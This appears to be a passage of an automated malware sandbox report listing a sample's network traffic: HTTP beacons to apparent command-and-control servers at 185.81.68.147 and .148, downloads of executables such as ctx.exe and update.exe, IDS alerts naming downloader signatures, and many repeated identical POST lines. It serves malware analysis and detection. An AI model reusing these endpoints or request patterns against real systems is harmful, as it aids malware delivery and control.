Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Source: global traffic	HTTP traffic detected: POST /7vhfjke3/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.147Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.81.68.148Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.81.68.147 185.81.68.147
Source: Joe Sandbox View	IP Address: 185.81.68.148 185.81.68.148

Source: Joe Sandbox View	ASN Name: KLNOPT-ASFI KLNOPT-ASFI
Source: Joe Sandbox View	ASN Name: KLNOPT-ASFI KLNOPT-ASFI

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.11:49726 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.11:49748 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.11:49761 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.11:49938 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.11:49958 -> 185.81.68.147:80

Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 35
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: GET /ctx.exe HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: GET /ssg.exe HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: GET /update.exe HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: GET /gfx.exe HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
